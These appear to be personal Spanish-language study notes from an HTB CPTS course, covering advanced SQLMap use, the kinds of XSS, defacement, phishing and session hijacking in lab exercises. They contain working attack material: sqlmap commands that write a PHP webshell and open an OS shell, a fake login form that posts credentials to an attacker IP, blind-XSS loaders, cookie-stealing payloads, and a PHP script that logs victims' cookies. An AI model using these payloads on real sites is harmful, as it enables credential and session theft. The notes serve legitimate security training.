![[Pasted image 20260714235343.png]]
![[Pasted image 20260714235350.png]]
![[Pasted image 20260714235404.png]]
- Usamos la solicitud HTTP con SQLMap y vemos que no dice que filtra por los caracteres < y > por lo que usamos el script de manipulacion between
![[Pasted image 20260714235635.png]]
- Enumeramos BBDD, tablas y obtenemos la flag
![[Pasted image 20260714235700.png]]![[Pasted image 20260714235710.png]]
![[Pasted image 20260714235725.png]]![[Pasted image 20260714235733.png]]
![[Pasted image 20260714235753.png]]![[Pasted image 20260714235809.png]]
CPTS
3. Explotacion WEB / 5. Sqlmap / 4. Uso De Sqlmap Avanzado
2. Explotacion Del So
SQLMap tambien puede escribir y leer archivos del sistema local fuera del DBMS
Lectura/Escritura de archivos
Para leer debemos tener privs: LOAD DATA o INSERT
Ejemplo de comando:
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE passwd;
No necesariamente tenemos que tener privs de DBA para leer aunque si los tenemos es mas probable que podamos
Comprobando privilegios DBA
sqlmap -u URL --is-dba
![[Pasted image 20260714151831.png]]
Leyendo archivos locales
sqlmap -u URL --file-read="/RUTA/ARCHIVO"
![[Pasted image 20260714151910.png]]
Se guarda la salida en un archivo
![[Pasted image 20260714151948.png]]
Escribiendo archivos locales
En los DBMS modernos es mas dificil
Debe estar deshabilitado el priv –secure-file-priv para permitir la escritura mediante INTO OUFILE
Para escribir usaremos –file-write y –file-dest
- Escribimos un webshell
echo "WEBSHELL PHP" > web.php
![[Pasted image 20260714152317.png]]
- Ahora intentamos escribir en la webroot “/var/www/html/” de Apache
sqlmap -u URL --file-write "web.php" --file-dest "/var/www/html/web.php"
![[Pasted image 20260714152500.png]]![[Pasted image 20260714152509.png]]
- Accedemos al sitio web donde se aloja el web.php
curl http://www.example.com/web.php?cmd=ls+-la
![[Pasted image 20260714152608.png]]
Ejecucion de comandos SO
Como vemos que podemos escribir, podemos probar la capacidad de SQLMap para ejecutar comandos
SQLMap usa varias tecnicas como escribir funciones SQL que ejecutan comandos y recuperar su salida o usar consultas SQL que ejecutan comandos directamente con xp_cmdshell
Usaremos la flat --os-shell
- Nos preguntara por el lenguaje que acepta la BBDD, el webroot… con
--batch se autocompleta
sqlmap -u URL --os-shell
![[Pasted image 20260714152919.png]]
Vemos que uso UNION y no nos dio salida. Podemos tratar de especificar la tecnica
sqlmap -u URL --os-shell --technique=E
![[Pasted image 20260714153024.png]]![[Pasted image 20260714153036.png]]
Ejemplo practico
Trata de usar sqlmap para leer “/var/www/html/flag.txt”
- Visitamos el sitio web, activamos burp, le damos sumbit y obtenemos la solicitud HTTP GET
![[Pasted image 20260715000028.png]]
![[Pasted image 20260715000036.png]]
![[Pasted image 20260715000044.png]]
![[Pasted image 20260715000052.png]]
![[Pasted image 20260715000059.png]]
- Usamos la peticion para la ejecucion de sqlmap
![[Pasted image 20260715000214.png]]
- Comprobamos si somos dba y si somos dba
![[Pasted image 20260715000247.png]]
![[Pasted image 20260715000305.png]]
- Tratamos de leer el archivo
![[Pasted image 20260715000407.png]]
![[Pasted image 20260715000426.png]]
![[Pasted image 20260715000439.png]]
Usa sqlmap para obtener una shell en el host remoto y leer la flag
- Obtenemos el shell con –os-shell
![[Pasted image 20260715000525.png]]
![[Pasted image 20260715000536.png]]
- Obtenemos la flag
![[Pasted image 20260715000652.png]]![[Pasted image 20260715000658.png]]
CPTS
3. Explotacion WEB / 5. Sqlmap / 5. Skill Assessment
1. Skill Assessment
Es una aplicacion web con mecanismos de proteccion basicos. Trata de usar las habilidades aprendidas en el modulo
Cual es la final_flag
- Visitamos la pagina web y la miramos por encima
![[Pasted image 20260715000941.png]]
Ha primera vista me llamo la atencion 2 cosas:
- En el carrito puedes poner con cualquier caracter sin validacion en el frontend el numero de cosas que quieres poniendo numeros, letras, caracteres especiales…
![[Pasted image 20260715104455.png]]
- Tenemos un form en el carrito que podria ser vulnerable a inyeccion
![[Pasted image 20260715104549.png]]
![[Pasted image 20260715104555.png]]
- En la parte de blog tenemos un form para publicar comentarios
![[Pasted image 20260715105645.png]]
- Empezando por el carrito vamos a interceptar la solicitud HTTP para verla de cerca
![[Pasted image 20260715104634.png]]![[Pasted image 20260715104706.png]]
![[Pasted image 20260715104723.png]]![[Pasted image 20260715104731.png]]
![[Pasted image 20260715104804.png]]
No vemos que se envie en la peticion ningun parametro relacionado con el numero de items, ni se modifica el precio del checkout al añadir manualmente mas items por lo que esa funcionalidad esta deshabilitada
- Vamos a pasar con el form del checkout donde primero vamos a interceptar como si creasemos un usuario normal
No vemos a priori valoracion del contenido por parte del frontend
![[Pasted image 20260715105122.png]]
![[Pasted image 20260715105211.png]]
Si le damos a place an order no sucede nada, solo nos lleva al inicio
- Pasamos a interceptar la solicitud de la publicacion de un comentario de prueba. Parece que el website si tiene validacion frontend
![[Pasted image 20260715105753.png]]![[Pasted image 20260715105823.png]]
Tampoco envia nada. Lo unico que funciona parece ser el enviar cosas al carrito. Ademas eso debe conectarse con una BBDD que tenga el id de cada uno a priori
- Probamos a enviar algo al carrito y encontramos un parametro id en el data del post
![[Pasted image 20260715111118.png]]
![[Pasted image 20260715110937.png]]
- Probamos a ver si es inyectable y es inyectable
![[Pasted image 20260715111252.png]]![[Pasted image 20260715111520.png]]
- Tratamos de devolver la BBDD pero nos da error por lo que vamos a ir probando cositas
![[Pasted image 20260715111838.png]]![[Pasted image 20260715111844.png]]
Ninguna de las siguientes tuvo efecto
![[Pasted image 20260715111859.png]]![[Pasted image 20260715111907.png]]
![[Pasted image 20260715112047.png]]![[Pasted image 20260715112056.png]]
![[Pasted image 20260715112104.png]]
Empezamos a probar con tampers y con el de between nos dio resultado. Como es vulnerable a time-based tarda un poco en sacar las respuestas
![[Pasted image 20260715112119.png]]
![[Pasted image 20260715112218.png]]
Obtenemos tablas y la flag
![[Pasted image 20260715113023.png]]
![[Pasted image 20260715113015.png]]
![[Pasted image 20260715113035.png]]![[Pasted image 20260715113255.png]]
CPTS
3. Explotacion WEB / 6. Cross Site Scripting XSS / 1. XSS Basico
1. Introduccion A XSS
Aprovechan la falla en la sanetizacion de la entrada para escribir codigo en JS en la pagina y ejecutarlo desde el lado del cliente
Que es XSS
Las aplicaciones web funcionan recibiendo el codigo HTML del servidor backend y renderizandolo en el lado del cliente. Cuando una aplicacion web no sanetiza adecuadamente la entrada del usuario, este puede escribir codigo JS en el campo de entrada de modo que cuando alguien visite la pagina se ejecute este codigo
Solo afectan al lado del cliente, osea que solo afecta al usuario que ejecuta la vulnerabilidad
Puntuacion normal –> Bajo impacto + alta probabilidad = riesgo medio
![[Pasted image 20260715134012.png]]
Ataques XSS
Pueden dar lugar a cualquier cosa que se pueda ejecutar con JS a traves del navegador
Ejemplo: el usuario que visite la pagina con XSS incrustrado envie las cookies de sesion a un servidor del atacante
Como esta limitado al JS dentro del navegador no se puede ejecutar JS en todo el sistema. En los navegadores modernos estan limitados al mismo dominio del sitio web
Tipos de XSS
![[Pasted image 20260715134423.png]]
CPTS
3. Explotacion WEB / 6. Cross Site Scripting XSS / 1. XSS Basico
2. XSS Stored O Almacenado
Es el mas critico
Este pasa cuando el payload se almacena en la BBDD del backend y se recupera al visitar la pagina = PERSISTENTE y puede afectar a cualquier usuario que viste la pagina
Imaginemos una simple aplicacion de Lista de Tareas a la que podemos añadir elementos
- Introducimos test y le damos a enter para añadirlo
![[Pasted image 20260715200937.png]]
La entrada se añadio a la pagina, y si no hay saneamiento o filtrado a nuestra entrada, la pagina podria ser vulnerable a XSS
Payloads de prueba
- Introducimos este payload de prueba y le damos a enter:
<script>alert(window.origin)</script>
Si no hay sanetizacion y la pagina permite cualquier entrada, al restablecer la pagina se debe mostrar la URL de la pagina en una ventana emergente:
![[Pasted image 20260715201446.png]]
Con esto ya hemos confirmado que el XSS es real pero si entramos a ver el codigo fuente encontraremos nuestro payload
![[Pasted image 20260715201600.png]]
Actualmente las paginas web usan iFrames por cada dominio por lo que si la vulnerabilidad XSS se detecta en este formulario puede que no sea vulnerable en toda la aplicacion. Por ello se uso window.origin (un valor dinamico que muestra desde donde se ejecuto el payload)
<alert> puede ser bloqueado por algunos navegadores
<plaintext> detendra la renderizacion de lo que viene despues y mostrara el codigo HTML de despues sin formato
<script>print()</script> abre el dialogo de impresion del navegador el cual es poco probable que sea bloqueado por el navegador
Si al actualizar la pagina el payload se sigue ejecutando es que era XSS almacenado/persistente
Ejemplo practico
Usa JS para ver la cookie que contiene la flag
![[Pasted image 20260715202225.png]]
![[Pasted image 20260715202643.png]]
<script>alert(window.origin)</script>
![[Pasted image 20260715202426.png]]
![[Pasted image 20260715202720.png]]
Si recargamos sale de nuevo
![[Pasted image 20260715202743.png]]
<script>alert(document.cookie)</script>
![[Pasted image 20260715202601.png]]![[Pasted image 20260715202834.png]]
CPTS
3. Explotacion WEB / 6. Cross Site Scripting XSS / 1. XSS Basico
3. XSS Reflected O Reflejado
Tipo de XSS no persistente que se procesa completamente del lado del cliente y nunca llega al servidor backend
Estas son temporales y no persisten a actualizaciones de pagina por lo que solo afectan al objetivo y no a cualquier usuario que visite la pagina
Ocurre cuando el servidor devuelve la entrada del usuario en la respuesta y sin filtrarla. Si la entrada contenia codigo JS el navegador lo ejecuta. En este caso la entrada se envia al backend en forma de solicitudes HTTP aunque no los almacena
Ejemplo practico
Imaginemos el mismo caso anterior de una pagina web de lista de tareas. Intentamos agregar test y nos sale “Task test could not added” el cual incluye nuestra entrada en la respuesta –> test
![[Pasted image 20260716105225.png]]
Ahora vamos a probar con un codigo JS y le damos a Add:
![[Pasted image 20260716105316.png]]
Obtenemos una ventana emergente porque como en la respuesta que se nos envia se encontraba nuestra entrada pues se acabo ejecutando en el lado del cliente
![[Pasted image 20260716105622.png]]
En el mensaje de error ahora nos dice “Task ‘’ could not added” ya que nuestra entrada no es renderizada por estar entre <script>, pero si vamos a ver el codigo fuente podemos confirmar que esta dentro del ‘’ del mensaje de error
![[Pasted image 20260716105826.png]]
Si actualizamos la pagina o volvemos a entrar ya no aparecera el mensaje
¿Entonces como atacamos a otros?
Pues lo primero que debemos hacer es mirar en que solicitud HTTP se envian los datos al backend
Si le damos a inspeccionar > network > ponemos cualquiercosa > add o miramos la peticion desde burp, en este caso veremos que es una solicitud HTTP GET
![[Pasted image 20260716110127.png]]
Estas envian los parametros dentro de la URL, por lo que para atacar a otro usuario podemos pasarle la URL con los parametros de payload. Una vez que la visite obtendra la salida del payload
![[Pasted image 20260716110245.png]]
Ejemplo practico
Usa el payload JS para obtener la cookie
![[Pasted image 20260716110444.png]]![[Pasted image 20260716110454.png]]
<script>alert(window.origin)</script>
![[Pasted image 20260716110710.png]]![[Pasted image 20260716110620.png]]
![[Pasted image 20260716110727.png]]
![[Pasted image 20260716110739.png]]
<script>alert(document.cookie)</script>
![[Pasted image 20260716110813.png]]![[Pasted image 20260716110821.png]]
![[Pasted image 20260716110830.png]]![[Pasted image 20260716110856.png]]
CPTS
3. Explotacion WEB / 6. Cross Site Scripting XSS / 1. XSS Basico
4. Dom XSS
Es otro tipo de XSS no persistente basado en DOM
En el reflejado los datos se envian al backend a traves de solicitudes HTTP, pero en este se procesa completamente desde el lado del cliente a traves de JS
Ocurre cuando se usa JS para cambiar el codigo fuente de la pagina web a traves de DOM
Ejemplo practico
Volvemos al ejemplo de la pagina de lista de tareas pero en este caso al darle a add nos sale: “Next Task: test”
![[Pasted image 20260716111306.png]]
Si miramos las peticiones en la pestaña de inspeccion > red veremos que no se estan realizando peticiones HTTP
![[Pasted image 20260716111339.png]]
Vemos en la URL que se añadio #PARAMETRO_QUE_AÑADIMOS lo que significa que es un parametro del lado del cliente que se procesa completamente en el navegador
La entrada se esta procesando en el JS del frontend y nunca llega al backend
Si miramos el codigo fuente veremos que la cadena test no se encuentra en ninguna parte (es porque el JS actualiza la pagina cada vez que le damos a add). Si refrescamos la pagina no se veran los cambios ya que no es persistente
Si queremos ver el codigo renderizado donde se veria nuestra entrada “test” tenemos que ir a inspeccionar > Inspector:
![[Pasted image 20260716111752.png]]
Fuente y sumidero
- Fuente: objeto JS que toma la entrada del usuario y puede ser cualquier parametro de entrada como un parametro URL o campo de entrada
- Sumidero: funcion que se escribe en la entrada de usuario en un objeto DOM. Si la funcion sumidero no se sanetiza adecuadamente, la entrada de usuario seria vulnerable a ataques XSS DOM
Funciones que se usan en XSS DOM:
- document.write()
- DOM.innerHTML
- DOM.outerHTML
Funciones jQuery que escriben en objetos DOM:
Para ver si la entrada tiene sanetizacion o no miraremos el codigo fuente:
- En este caso, si miramos script.js veremos que la entrada la recoge dentro de la variable task=
![[Pasted image 20260716112431.png]]
- Debajo de esto vemos la funcion innerHTML para escribir la variable task dentro del objeto DOM todo:
![[Pasted image 20260716112527.png]]
Aqui vemos que ni la entrada ni la salida estan sanetizadas
Ataques DOM
Si metemos <script>alert(window.origin)</script> no funcionara ya que innerHTML no permite etiquetas <script> dentro
Pero podemos usar:
<img src="" onerror=alert(window.origin)>
![[Pasted image 20260716113058.png]]
Para dirigirlo hacia otro usuario podemos mirar si es HTTP GET y enviar de nuevo la URL para que cuando la visiten se ejecute
Ejemplo practico
Obten la flag que se encuentra en la cookie
![[Pasted image 20260716113305.png]]
![[Pasted image 20260716113314.png]]![[Pasted image 20260716113327.png]]![[Pasted image 20260716113430.png]]
<script>alert(window.origin)</script> –> no deberia salir nada ya que la variable task se mete dentro de un objeto DOM (todo) a traves de innerHTML que no permite <script>
![[Pasted image 20260716113501.png]]![[Pasted image 20260716113613.png]]
<img src=“” onerror=alert(window.origin)> –> esto si deberia dejar
![[Pasted image 20260716113706.png]]![[Pasted image 20260716113715.png]]
![[Pasted image 20260716113744.png]]![[Pasted image 20260716113753.png]]
CPTS
3. Explotacion WEB / 6. Cross Site Scripting XSS / 1. XSS Basico
6. Descubrimiento De XSS
Casi todos los escaneres de vulns como Nessus, Burp Pro, o ZAP tienen capacidades de deteccion de los 3 tipos de XSS. Estos suelen usar escaneres pasivos que revisan el codigo del lado del cliente en busca de vulns DOM y analisis activo que envia tipos de payloads para intentar desencadenar un XSS
En este caso usaremos XSS Strike:
git clone https://github.com/s0md3v/XSStrike.git
cd XSStrike
pip install -r requirements.txt
python xsstrike.py
Despues lo ejecutamos proporcionando la URL. En este caso vamos a probarlo con el Reflected XSS anterior que pasaba los parametros al backend a traves de una solicitud GET con los parametros en la URL
python xsstrike.py -u "URL"
![[Pasted image 20260716114600.png]]
Como vemos la herramienta identifico el parametro como vulnerable a XSS desde el primer payload. Debemos probar el payload manualmente para ver si funciona realmente
Descubrimiento manual
Para encontrar XSS basicas sirven con un par de payloads, pero para XSS avanzadas se requiere de una gran habilidad de revision de codigo
Payloads XSS
El metodo mas basico es probar payloads XSS
Lista de payloads –> PayloadAllTheThings o Payload-Box
Podemos ir probando uno por uno a ver si sale el cuadro de alerta aunque no es muy eficiente porque la mayoria no funcionan en nuestros casos ya que muchos estan hechos para saltarse medidas de seguridad, sanetizaciones, usar diferentes tipos de etiquetas… y nosotros estamos viendo lo mas basico
DESTACAR QUE EL XSS PUEDE SER VULNERABLE EN CUALQUIER ENTRADA DE LA PAGINA YA SEAN ENTRADAS DEL HTML O CABECERAS HTTP COMO USERAGENT, COOKIE…
Podriamos escribir nuestro propio script de python para automatizar el envio de payloads
Revision de codigo
Metodo mas fiable que debe cubrir tanto el front como el back
Es probable que los desarrolladores lancen escaneos de vulns a sus aplicaciones antes de su lanzamiento para parchear lo que se detecte pero una revision manual puede revelar vulnerabilidades
Ejemplo practico
- Visitamos el sitio web y vemos que es un form
![[Pasted image 20260716123836.png]]
- MIramos el codigo fuente donde vemos HTML basico y un JS. Accedemos a script.js para ver que es lo que hace
![[Pasted image 20260716123923.png]]
- MIrando el codigo JS vemos una funcion de validacion del email donde se declara una variable con muchos caracteres y se valida el email. Tras la validacion mira si los campos estan vacios, si estan vaciuos da error y el boton register esta deshabilitado, si la validacion del email no es correcta de error email y sino entonces el boton register esta habilitado
![[Pasted image 20260716124155.png]]
- Verificamos el formato de cada campo y como hemos visto el unico que tiene validacion de entrada es el campo email
![[Pasted image 20260716124311.png]]
- Enviamos una solicitud normal para ver en que metodo HTTP se envia
![[Pasted image 20260716124349.png]]![[Pasted image 20260716124431.png]]
Vemos un HTTP GET con los parametros pasados por URL
- Como la validacion de campos es en el frontend podemos enviar directamente el payload desde la URL o a traves de burp. Probamos a cambiar el formato de email a un <script> encodeado en URL
![[Pasted image 20260716124950.png]]
Si le damos a actualizar ya no nos sale la ventana por lo que es reflected
CPTS
3. Explotacion WEB / 6. Cross Site Scripting XSS / 2. XSS Atacks
1. Defacing O Desfiguracion
Los ataques de desfiguracion de sitios web cambian la apariencia de cualquiera que los visite
Elementos del defacement
Podemos usar codigo JS inyectado a traves de XSS para hacer que una pagina web tenga el aspecto que queramos
Normalmente se usan 4 elementos HTML para cambiar el aspecto principal:
- Color de fondo: document.body.style.background
- Fondo: document.body.background
- Titulo de pagina: document.title
- Texto de pagina: DOM.innerHTML
Cambiar el fondo
En el ejemplo que tuvimos de XSS Stored/Persistente podemos usar los elementos HTML de antes para cambiar su apariencia:
Cambiar color de fondo:
<script> document.body.style.background="#141d2b" </script>
#141d2b: color de fondo de HTB
black: tambien se pueden usar nombres de colores
Una vez añadido habra cambiado y sera persistente a reinicios:
![[Pasted image 20260716130054.png]]
Establecer una imagen de fondo:
<script>document.body.background="https://URL_IMAGEN"</script>
Cambiar titulo de la pagina:
<script>document.title='ALGO'</script>
![[Pasted image 20260716130232.png]]
Cambiar texto:
<script>document.getElementById("IDTEXTO").innerHTML="nuevotexto"</script>
Cambiar el texto del body, en este caso cambiaremos el primer elemento del body [0]:
<script>document.getElementByTagName("body")[0].innerHTML="nuevotexto"</script>
Usando JQueries
Podemos usar JQueries para que sea mas eficiente o cambiar varios elementos/ JQuery debe estar importado en el codigo fuente de la pagina para poder usarlo:
$("#ID_ELEMENTO").html('Nuevo texto');
Metiendo un codigo HTML
- Preparamos el HTML que vamos a inyectar
<center>
<h1 style="color: white">Cyber Security Training</h1>
<p style="color: white">by
<img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy">
</p>
</center>
- Lo probamos localmente para ver como se ve
- Preparamos el payload que vamos a meter
<script>document.getElementsByTagName('body')[0].innerHTML = '<center><h1 style="color: white">Cyber Security Training</h1><p style="color: white">by <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy"> </p></center>'</script>
- Lo ejecutamos y vemos que es resistente a cambios
![[Pasted image 20260716131332.png]]
- Si miramos el codigo fuente veremos el original con nuestro payload incrustado
![[Pasted image 20260716131401.png]]
CPTS
3. Explotacion WEB / 6. Cross Site Scripting XSS / 2. XSS Atacks
2. Phising
Se suele hacer a traves de la inyeccion de formularios falsos que envian los detalles del inicio de sesion al servidor del atacante
Descubrimiento del XSS
Primero tratamos de encontrar la vulnerabilidad XSS en /phising
Vemos un simple visor de imagenes en linea donde podemos introducir la URL de la imagen:
![[Pasted image 20260716131905.png]]
Cuando tratamos de usar payloads basicos vemos que no se ejecuta nada y vemos que sale una imagen de dead image url:
![[Pasted image 20260716132005.png]]
Debemos encontrar la inyeccion XSS
Una vez identificado inyectamos un HTML con el formulario de inicio de sesion en la pagina objetivo que enviara la informacion de inicio de sesion a un servidor que tendremos en escucha
- En este codigo cambiamos OUR_IP por nuestra IP:
<h3>Please login to continue</h3>
<form action=http://OUR_IP>
<input type="username" name="username" placeholder="Username">
<input type="password" name="password" placeholder="Password">
<input type="submit" name="submit" value="Login">
</form>
- Preparamos el payload:
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');
- Inyectamos el codigo:
![[Pasted image 20260716132700.png]]
Es reflejado por lo que para que lo vean otros debemos copiar la URL
Limpiando
Vemos que aun sale el campo de URL por lo que vamos a intentar eliminarlo:
<script> document.getElementById("urlform").remove() </script>
![[Pasted image 20260716133126.png]]
Añadimos el codigo a nuestro payload JS anterior y ya se eliminara:
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove();
![[Pasted image 20260716133245.png]]
Ya no se muestra pero queda parte del codigo HTML original, esto se puede ocultar añadiendo al payload una apertura de comentario HTML
document.write('<h3>Please login to continue</h3><form action=http://OUR_IP><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove(); <!--
![[Pasted image 20260716133358.png]]
Robo de credenciales
- Iniciamos nuestro listener (si no esta activo saldra un mensaje de “This site cant be reached”)
![[Pasted image 20260716133505.png]]
- Iniciamos sesion en el form creado
![[Pasted image 20260716133529.png]]
El formulario no maneja la salida por lo que podria levantar sospechas. Podemos crear un codigo PHP que registre las credenciales de la solicitud HTTP y devuelva a la victima a la pagina original sin inyeccion
- Creamos un archivo index.php (cambiar SERVERIP por la IP de la pagina web)
![[Pasted image 20260716133753.png]]
- Iniciamos un servidor basico de escucha:
sudo php -S 0.0.0.0:80
![[Pasted image 20260716133831.png]]
- Iniciamos sesion en el form y vemos que somos redirigidos a la pagina original
![[Pasted image 20260716133912.png]]
- Las credenciales estan en creds.txt
![[Pasted image 20260716133929.png]]
Ejemplo practico
Trata de encontrar el XSS en /phising y tras eso usa lo que aprendiste en la leccion para preparar una URL maliciosa que inyecte un login malicioso. Tras esto envialo en /phising/send.php para enviarselo a la vicitima que se logueara
Si lo has hecho correctamente obtendras las credenciales que podras ver en tu maquina y usarlas en /phising/login.php
- Visitamos la pagina
![[Pasted image 20260717112318.png]]
- Probamos un payload y vemos que no funciona
<img src=“” onerror=alert(window.origin)>
![[Pasted image 20260717112531.png]]![[Pasted image 20260717112541.png]]
- Al mirar el codigo fuente vemos como se almacena asi que el payload debe ser a medida
![[Pasted image 20260717112631.png]]
Estos pueden ser ejemplos de payloads a medida:
’ onerror=alert(window.origin) –> o ’> <script>…</script>
![[Pasted image 20260717112939.png]]
- Creamos un payload para cambiar la URL y que parezca un login apuntando a nuestra IP
'> <script>document.write('<h3>Please login to continue</h3><form action=http://10.10.15.1><input type="username" name="username" placeholder="Username"><input type="password" name="password" placeholder="Password"><input type="submit" name="submit" value="Login"></form>');document.getElementById('urlform').remove(); </script><!--
![[Pasted image 20260717113203.png]]
![[Pasted image 20260717120504.png]]
![[Pasted image 20260717120541.png]]
- Creamos un script php para recuperar las credenciales del usuario que se logueara y que le devuelva a la pagina original
![[Pasted image 20260717120750.png]]
- Montamos el listener y lo enviamos por send.php
![[Pasted image 20260717120925.png]]
![[Pasted image 20260717120550.png]]
![[Pasted image 20260717120933.png]]
- Tras obtener las credenciales las ponemos en login.php y obtenemos la flag
![[Pasted image 20260717121014.png]]![[Pasted image 20260717121241.png]]
CPTS
3. Explotacion WEB / 6. Cross Site Scripting XSS / 2. XSS Atacks
3. Session Hijacking
Las aplicaciones modernas usan cookies de sesion para mantener la sesion de un usuario a lo largo de diferentes sesiones. Esto le permite iniciar la sesion una vez y mantener la sesion activa incluso si visita el mismo sitio web en otro momento
Con capacidad de ejecutar JS en el navegador de la victima podriamos ser capaces de obtener sus cookies y usarlas
Deteccion de Blind XSS
Tratamos de buscar una vuln XSS pero en este caso es un Blind XSS. En esta lo que ocurre es que la vuln se activa en una pagina a la que no tenemos acceso
Suelen ocurrir con formularios que solo son accesibles para ciertos usuarios. Ejemplos:
- Formularios de contacto
- Reseñas
- Detalles de usuario
- Tickets de soporte
- Cabecera HTTP User-Agent
Vamos a /hijacking donde encontraremos un form de registro de usuario con varios campos. Primero lo rellenamos con campos de test:
![[Pasted image 20260717122252.png]]
Una vez enviado obtenemos el siguiente comentario:
![[Pasted image 20260717122319.png]]
Esto significa que no veremos como se maneja la entrada o como se ve el navegador ya que aparecera solo para el administrador en un panel de administracion al que no tenemos acceso
En estos casos no podemos ir probando cada campo con alert como hicimos antes. ¿Como lo detectamos?
Lo que haremos es como antes, poner un payload que se conecte a nuestro servidor y si se ejecuta lo veremos en nuestra linea de comandos
2 Problemas:
- Como sabemos que campo es el vulnerable
- Como sabemos que payload usar
Cargando script remoto
Vamos a proporcionar un script remoto al payload:
<script src="http://IP/payload.js"></script>
El payload estara en nuesta maquina atacante. Cambiaremos el nombre payload al del campo que estemos inyectando de modo que cuando recibamos la peticion sepamos identificar el campo
<script src="http://IP/username.js"></script>
Si recibimos una peticion para username sabremos que username es el campo vuln o si es para name…
Con esto vamos probando payloads dentro del script remoto usando los payloads de PayloadsAllTheThings:
<script src=http://OUR_IP></script>
'><script src=http://OUR_IP></script>
"><script src=http://OUR_IP></script>
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://OUR_IP\';document.body.appendChild(a)')
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//OUR_IP");a.send();</script>
<script>$.getScript("http://OUR_IP")</script>
Creamos el listener php:
sudo php -S 0.0.0.0:80
![[Pasted image 20260717123554.png]]
Ahora vamos probando un payload en todos los scripts remotos creados
![[Pasted image 20260717123634.png]]
Podemos notar que el campo email tiene que tener ese formato y lo valida tanto en el front como en el back por lo que no es vulnerable a XSS
Una vez enviado y esperados unos segundos veremos en la terminal el script al que llamo el servidor. Si no llama procedemos con el siguiente payload y debemos anotar ese ultimo payload usado
Secuestro de sesion
Una vez que encontramos el payload y campo que funciona procedemos a realizar el ataque de secuestro de sesion
Hay muchos payloads para obtener la cookie en PayloadsAllTheThings:
document.location='http://OUR_IP/index.php?c='+document.cookie; new Image().src='http://OUR_IP/index.php?c='+document.cookie;
Usar cualquiera de los servira para que nos envie la cookie pero en este caso usaremos el segundo ya que es menos sospechoso que la primera que sube una imagen
![[Pasted image 20260717124333.png]]
Metemos el payload de las cookies dentro del archivo JS del campo vulnerable usando el payload que funciono:
![[Pasted image 20260717124410.png]]
Creamos un index.php en nuestra maquina local que dividira el valor de las cookies por si hay mas de una:
<?php if (isset($_GET['c'])) { $list = explode(";", $_GET['c']); foreach ($list as $key => $value) { $cookie = urldecode($value); $file = fopen("cookies.txt", "a+"); fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n"); fclose($file); } } ?>
(REMOTE_ADDR) –> pongo mi IP de Kali
Creamos el listener:
sudo php -S 0.0.0.0:80
Cuando la victima visite la pagina vulnerable y vea nuestro payload XSS recibiremos la peticion a nuestro script.js y las cookies:
![[Pasted image 20260717124620.png]]![[Pasted image 20260717124635.png]]
Usamos la cookie para loguarnos en /hijacking/login.php
Inspect > Storage > + > Name=cookie y Value=COOKIE
![[Pasted image 20260717124747.png]]![[Pasted image 20260717124752.png]]
Ejemplo practico
Trata de repetir lo mostrado en esta seccion para identificar el payload XSS y realizar un Session Hijacking para conseguir la cookie de admin y usarla en login.php para conseguir la flag
-
Visitamos /hijacking
![[Pasted image 20260717125958.png]]
-
Probamos valores de test y miramos el nombre de los campos en el codigo fuente
![[Pasted image 20260717130035.png]]![[Pasted image 20260717130042.png]]![[Pasted image 20260717151448.png]]
- Levantamos un listener php para recoger las peticiones
![[Pasted image 20260717152622.png]]
- Probamos varios payloads y al final encontramos el payload y el campo vulnerable que se conecta a nuestro listener
![[Pasted image 20260717151724.png]]
![[Pasted image 20260717152059.png]]
![[Pasted image 20260717152146.png]]
![[Pasted image 20260717153304.png]]![[Pasted image 20260717153339.png]]![[Pasted image 20260717153413.png]]
- Tras conseguir el campo y payload montamos un script.js y un index.php. Usamos el payload en el campo vulnerable para llamar a script.js en la maquina atacante y conseguir la cookie
![[Pasted image 20260717154422.png]]
![[Pasted image 20260717153837.png]]
![[Pasted image 20260717153850.png]]
![[Pasted image 20260717154507.png]]![[Pasted image 20260717154459.png]]![[Pasted image 20260717154559.png]]
- Tras conseguir la coolie la introducimos en el navegador y actualizamos la pagina. Tenemos que poner /hijacking/login.php
![[Pasted image 20260717154644.png]]![[Pasted image 20260717154920.png]]![[Pasted image 20260717154946.png]]
CPTS
3. Explotacion WEB / 6. Cross Site Scripting XSS / 3. Skill Assessment
1. Skill Assessment
Accede al directorio /assessment para probar XSS
![[Pasted image 20260717155447.png]]
- Identifica el campo de entrada de usuario vulnerable a XSS
- Encuentra un payload XSS funcional que ejecute codigo JSS
- Usando tecnicas de Hijacking obten las cookies
Visitamos la pagina web y vamos a Welcome to Security Blog:
![[Pasted image 20260717162608.png]]![[Pasted image 20260717163635.png]]
Aqui vemos un form con distintos campos. Inspeccionando la pagina obtenemos sus ids que nos serviran mejor para identificarlos:
![[Pasted image 20260717163648.png]]
![[Pasted image 20260717164025.png]]
Creamos un listener php y metemos payloads en busca de ver si responde alguno. Si no probamos con otros payloads
![[Pasted image 20260717164040.png]]
![[Pasted image 20260717164117.png]]
Vemos que nos pide que el name y el email sean correctos por lo que descartamos estos dos campos
![[Pasted image 20260717164146.png]]
![[Pasted image 20260717164202.png]]
Una vez enviado obtenemos que el campo vulnerable es url
![[Pasted image 20260717164437.png]]
Tras esto construimos el script.js, el index.php y el payload que llamara a nuestro script.js
![[Pasted image 20260717164525.png]]
![[Pasted image 20260717164542.png]]
Obtenemos la cookie y la flag
![[Pasted image 20260717164611.png]]
CPTS
3. Explotacion WEB / 7. File Inclusion / 1. Introduccion
1. Introduccion
En muchos lenguajes de backend se usan parametros HTTP para especificar el recurso que se muestra en la pagina web, con esto se reduce el tamaño del script y se simplifica el codigo
El problema esta en que si no se codifican de forma segura, se pueden modificar estos parametros para mostrar otros recursos locales
Inclusion de archivos locales LFI
Un ejemplo suele ser una pagina web que carga sus partes estaticas (encabezado, barra de navgacion, pie de pagina…) y luego muestra de forma dinamica otro contenido que cambia entra paginas
